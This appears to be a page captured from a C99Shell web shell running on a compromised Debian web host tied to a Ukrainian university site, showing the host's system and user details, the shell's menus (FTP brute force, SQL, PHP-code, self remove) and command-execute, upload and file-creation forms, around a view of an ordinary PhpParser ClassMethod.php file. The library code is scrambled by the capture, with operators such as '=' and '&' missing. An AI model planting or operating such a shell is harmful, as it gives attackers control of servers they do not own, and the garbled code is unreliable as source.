!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/   drwxr-xr-x
Free 117.27 GB of 200.55 GB (58.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ClassMethod.php (3.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser\Node\Stmt;

use 
PhpParser\Node;
use 
PhpParser\Node\FunctionLike;
use 
PhpParser\Error;

class 
ClassMethod extends Node\Stmt implements FunctionLike
{
    
/** @var int Type */
    
public $type;
    
/** @var bool Whether to return by reference */
    
public $byRef;
    
/** @var string Name */
    
public $name;
    
/** @var Node\Param[] Parameters */
    
public $params;
    
/** @var null|string|Node\Name Return type */
    
public $returnType;
    
/** @var Node[] Statements */
    
public $stmts;

    
/**
     * Constructs a class method node.
     *
     * @param string      $name       Name
     * @param array       $subNodes   Array of the following optional subnodes:
     *                                'type'       => MODIFIER_PUBLIC: Type
     *                                'byRef'      => false          : Whether to return by reference
     *                                'params'     => array()        : Parameters
     *                                'returnType' => null           : Return type
     *                                'stmts'      => array()        : Statements
     * @param array       $attributes Additional attributes
     */
    
public function __construct($name, array $subNodes = array(), array $attributes = array()) {
        
parent::__construct($attributes);
        
$this->type = isset($subNodes['type']) ? $subNodes['type'] : 0;
        
$this->byRef = isset($subNodes['byRef'])  ? $subNodes['byRef']  : false;
        
$this->name $name;
        
$this->params = isset($subNodes['params']) ? $subNodes['params'] : array();
        
$this->returnType = isset($subNodes['returnType']) ? $subNodes['returnType'] : null;
        
$this->stmts array_key_exists('stmts'$subNodes) ? $subNodes['stmts'] : array();

        if (
$this->type Class_::MODIFIER_STATIC) {
            switch (
strtolower($this->name)) {
                case 
'__construct':
                    throw new 
Error(sprintf('Constructor %s() cannot be static'$this->name));
                case 
'__destruct':
                    throw new 
Error(sprintf('Destructor %s() cannot be static'$this->name));
                case 
'__clone':
                    throw new 
Error(sprintf('Clone method %s() cannot be static'$this->name));
            }
        }
    }

    public function 
getSubNodeNames() {
        return array(
'type''byRef''name''params''returnType''stmts');
    }

    public function 
returnsByRef() {
        return 
$this->byRef;
    }

    public function 
getParams() {
        return 
$this->params;
    }

    public function 
getReturnType() {
        return 
$this->returnType;
    }

    public function 
getStmts() {
        return 
$this->stmts;
    }

    public function 
isPublic() {
        return (
$this->type Class_::MODIFIER_PUBLIC) !== 0
            
|| ($this->type Class_::VISIBILITY_MODIFER_MASK) === 0;
    }

    public function 
isProtected() {
        return (bool) (
$this->type Class_::MODIFIER_PROTECTED);
    }

    public function 
isPrivate() {
        return (bool) (
$this->type Class_::MODIFIER_PRIVATE);
    }

    public function 
isAbstract() {
        return (bool) (
$this->type Class_::MODIFIER_ABSTRACT);
    }

    public function 
isFinal() {
        return (bool) (
$this->type Class_::MODIFIER_FINAL);
    }

    public function 
isStatic() {
        return (bool) (
$this->type Class_::MODIFIER_STATIC);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0102 ]--